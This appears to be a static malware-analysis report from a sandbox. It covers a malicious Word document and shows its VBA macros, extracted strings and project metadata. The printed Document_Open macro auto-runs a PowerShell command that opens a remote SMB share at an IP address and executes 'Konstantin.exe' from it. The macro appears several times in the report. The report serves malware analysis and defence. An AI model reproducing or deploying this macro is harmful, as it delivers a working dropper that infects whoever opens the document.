Static | ZeroBOX

Original


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    Dim objShell As Object
    Dim strCommand As String
    
    
    Set objShell = CreateObject("WScript.Shell")
    
    
    strCommand = "powershell.exe -c ""explorer '\\89.23.98.22\LN\'; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\89.23.98.22\LN\Konstantin.exe"""
    
    
    objShell.Run strCommand, 1, True
    
   
    Set objShell = Nothing
End Sub



                                    

Deobfuscated


                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
    Dim objShell As Object
    Dim strCommand As String
    
    
    Set objShell = CreateObject("WScript.Shell")
    
    
    strCommand = "powershell.exe -c ""explorer '\\89.23.98.22\LN\'; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\89.23.98.22\LN\Konstantin.exe"""
    
    
    objShell.Run strCommand, 1, True
    
   
    Set objShell = Nothing
End Sub



                                    

Original


                                        Attribute VB_Name = "NewMacros"
Sub fasfasfasf()
'
' fasfasfasf Macro
'
'

End Sub

                                    

Deobfuscated


                                        Attribute VB_Name = "NewMacros"
Sub fasfasfasf()
'
' fasfasfasf Macro
'
'

End Sub

                                    
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
/,EE\}
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Normal.dotm
Microsoft Office Word
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
BeThisDo
cumentG
fasfasfasf Macro
Attribut
e VB_Nam
e = "New
Macros"
Sub fas
WScript.Shell
powershell.exe -c "explorer '\\89.23.98.22\LN\'; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\89.23.98.22\LN\Konstantin.exe"'
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
_Open()
objShell
As Obje
Script.
-c ""ex
plorer '
\\89.23.
98.22\LN
\'; Star
t-Sleep
-Seconds
ocess -
Kons@tantin
n G-, 1,
Win64x
Project1
stdole
Project-
ThisDocument<
_Evaluate
Normal
Office
Module1b
NewMacros
fasfasfasfIv
Document_Open
objShell
strCommand
CreateObject
Documentj
ID="{9702DA77-518C-4895-B291-EC0A99AA0805}"
Document=ThisDocument/&H00000000
Module=NewMacros
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="7476B013F038F438F438F438F4"
DPB="9D9F594AAB72AC72AC72"
GC="C6C402A102E32AE42AE4D5"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=104, 104, 1264, 628, Z
NewMacros=78, 78, 1398, 627,
ThisDocument
NewMacros
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
2014
563 (
2014
1025-
2, 3, 7, 10
2015
Normal
Default Paragraph Font
Table Normal
No List
Plain Text
Plain Text Char
Project.NewMacros.fasfasfasf
"Project.ThisDocument.Document_Open
PROJECT.NEWMACROS.FASFASFASF
"PROJECT.THISDOCUMENT.DOCUMENT_OPEN
Unknown
Times New Roman
Symbol
Tahoma
Calibri
Courier New
Cambria Math
Root Entry
1Table
WordDocument
SummaryInformation
DocumentSummaryInformation
Macros
NewMacros
ThisDocument
_VBA_PROJECT
PROJECT
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
ThisDocument
02674bcc5b
ThisDocument
NewMacros
07674bcc5c
NewMacros
tThisDocument
sNewMacr
PROJECTwm
CompObj
No antivirus signatures available.
No IRMA results available.